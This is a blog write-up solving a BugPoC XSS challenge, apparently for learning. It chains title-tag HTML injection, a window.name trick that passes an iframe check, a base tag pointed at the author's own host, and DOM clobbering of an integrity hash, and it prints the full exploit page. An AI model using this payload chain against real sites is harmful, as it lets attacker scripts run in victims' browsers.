Hi! Hope you’re doing good.

This challenge used many techniques and I learnt a lot of things from it. Thanks to BugPoC for making this challenge. Let’s get started.

This was the link for the challenge: https://wacky.buggywebsite.com/. It looks like this when we open it:

Main page of the challenge

It contains an iframe to https://wacky.buggywebsite.com/frame.html?param=Hello,%20World! which just prints the text in the param in a wacky way(hence the name of the challenge :P). It is is the following part:

If we open the link directly, we get the following page.

Page when opened directly

If we view the source, we can see that the param get attribute is being reflected at two places:

  • in the title tag, and
Reflection of param in Title tag
Reflection of param in <p> tag

Next, I tried inserting <, > characters and see what is happening to those from the server.

In the <title> tag, it gets reflected without any sanitisation:

It gets sanitized in the div->randomizr tag

Next, I knew that I have to first end the title tag and then we can start a new tag! So I used the payload </title><script>alert(document.domain)</script> but of-course the CSP blocked the XSS(But we do have HTML Injection). Why on the world would it work anyway? Bugpoc isn’t going to make such simple challenges 😛

JS getting blocked due to CSP

The CSP:

script-src 'nonce-zxjqgadsxdnn' 'strict-dynamic'; frame-src 'self'; object-src 'none';

As we can see the frame-src part of the CSP blocks the framing of the page. Let’s look at the JavaScript code in the frame.html to see if we can find any gadgets:

window.fileIntegrity = window.fileIntegrity || {
    'rfc' : ' https://w3c.github.io/webappsec-subresource-integrity/',
    'algorithm' : 'sha256',
    'value' : 'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=',
    'creationtime' : 1602687229
}
// verify we are in an iframe
if (window.name == 'iframe') {
    // securely load the frame analytics code
    if (fileIntegrity.value) {
        // create a sandboxed iframe
        analyticsFrame = document.createElement('iframe');
        analyticsFrame.setAttribute('sandbox', 'allow-scripts allow-same-origin');
        analyticsFrame.setAttribute('class', 'invisible');
        document.body.appendChild(analyticsFrame);
        // securely add the analytics code into iframe
        script = document.createElement('script');
        script.setAttribute('src', 'files/analytics/js/frame-analytics.js');
        script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
        script.setAttribute('crossorigin', 'anonymous');
analyticsFrame.contentDocument.body.appendChild(script);	
    }
} 
else {
    document.body.innerHTML = `
    <h1>Error</h1>
    <h2>This page can only be viewed from an iframe.</h2>
    <video width="400" controls><source src="movie.mp4" type="video/mp4">
    </video>`
}

I noticed that it includes a javascript file frame-analytics.js if the page is framed. This looks like a gadget that we can use:

script = document.createElement('script');
script.setAttribute('src', 'files/analytics/js/frame-analytics.js');
script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
script.setAttribute('crossorigin', 'anonymous');
analyticsFrame.contentDocument.body.appendChild(script);	

Next focus is on bypassing the iframe part. We cannot frame the page due to frame-src 'self'; in the CSP.

I saw on the following lines which does the check for the framing:

// verify we are in an iframe
if (window.name == 'iframe') {
         // securely load the frame analytics code
         ...
}

This is not the usual way pages check if the page is framed. Usually window.parent is checked if it matches with the current origin, or similar. This didn’t look securely implemented to me.

I started wondering how did they set the name property of window? Turns out, in the main page, they used name property in the iframe tag which sets that property of the page:

<iframe src="frame.html?param=Hello, World!" name="iframe" id="theIframe"></iframe>

We need to find other ways of setting name property on this page. At this time, I remembered a video of LiveOverFlow which mentioned about window.name being maintained over different domains. This was also later released as a hint on BugPoc’s twitter handle. All other properties are not maintained/cached. We can also read the following doc from Mozilla to get a sense of that: https://developer.mozilla.org/en-US/docs/Web/API/Window/name

So we can set window.name to iframe on our page and we can redirect to the challenge page and the if condition will be bypassed and it will no longer display the error: This page can only be viewed from an iframe.

Here is sample javascript code for doing this:

<script>
window.name="iframe";
window.location="https://wacky.buggywebsite.com/frame.html?param=Hello,%20World!";
</script>

Now we have successfully bypassed the iframe restriction which the target site had tried to put on. So now the website includes frame-analytics.js as we had intended

We have HTML Injection(as seen above), and as we are in the head tag, the idea of using the <base> tag came into my mind. I tried including my own website in the base tag:

</title><base href="https://yashsodha.in/"></base> 

Added a JavaScript file at https://yashsodha.in/files/analytics/js/frame-analytics.js with contents window.alert(document.domain); and opened the page:

CORS error! It was just a matter of adding Access-Control-Allow-Origin: * header to the server.

Using Apache .htaccess file, I was able to add it:

Header set Access-Control-Allow-Origin "*"

Again refreshed the page. You know you have made progress when the error changes 😛

Ah shit, another error! There we go again. This was due to the fact that there was

script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);

where fileIntegrity is:

window.fileIntegrity = window.fileIntegrity || {
'rfc' : ' https://w3c.github.io/webappsec-subresource-integrity/',
'algorithm' : 'sha256',
'value' : 'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=',
'creationtime' : 1602687229
}

It took some time for me to notice, but finally it strikes me that window.fileIntegrity || has been used. So by any method, if we are able to define window.fileIntegrity before this JS code, we will be able to change the value of the integrity.

I suddenly remembered this awesome blog post: https://research.securitum.com/xss-in-amp4email-dom-clobbering/. Please read it before proceeding further as I won’t be going into the details so much because it already has been explained very well in the blog.

In gist, if can use an input tag with some id, say “abcd” and with value=”xyz”, window.abcd will have the value xyz. This looked like the final step in the XSS challenge. We will put the value of the fileIntegrity like this:

<input id="fileIntegrity" value="QQfTyDQb4ZsylVTjlCZ/W+IssDnhawLiABVM2dhiZb4=">

Where did I get the SHA256 value of the code? Simply from the error displayed from chrome. Check the image above, it says:

Failed to find a valid digest in the 'integrity' attribute for resource 'URL' with computed SHA-256 integrity 'VALUE'. The resource has been blocked.

We can use the integrity value from above and include it!

Now, the final exploit was included, but we were not able to popup an alert box which was the intended solution. So, I used window.parent.alert(document.domain); (notice I added .parent), changed the integrity value in the payload.

Final exploit was:

<html lang="en">
  <body>
    <script>
      window.name="iframe";
      window.location = 'https://wacky.buggywebsite.com/frame.html?param=%3C/title%3E%3Cinput%20id=%22fileIntegrity%22%20value=%22QQfTyDQb4ZsylVTjlCZ/W%2bIssDnhawLiABVM2dhiZb4=%22%3E%3Cbase%20href=%22//yashsodha.in%22%3E%3C/base%3E';
    </script>
  </body>
</html>

Notice that the integrity value was url encoded because otherwise characters like + were getting converted to spaces!


I quickly submitted it by making a PoC on their website(bugpoc.com). After a few minutes, Ryan responded and told me that I had missed it by 11 minutes 😛


It would have been harder for me to solve this challenge if I hadn’t seen the LiveOverFlow video or had not read about DOM clobbering. So one of the things to learn from this is to constantly keep learning and keep watching/reading quality content and to filter them out with so much content coming each day along with fake bug bounty tips :P.


If the wacky website is up, you can use the following BugPoC Link to view it:

BugPoC Link: https://bugpoc.com/poc#bp-qR80yzVB
Password: indULGenTBaT41


Hope you learnt something new from this writeup 🙂

Categories: Writeup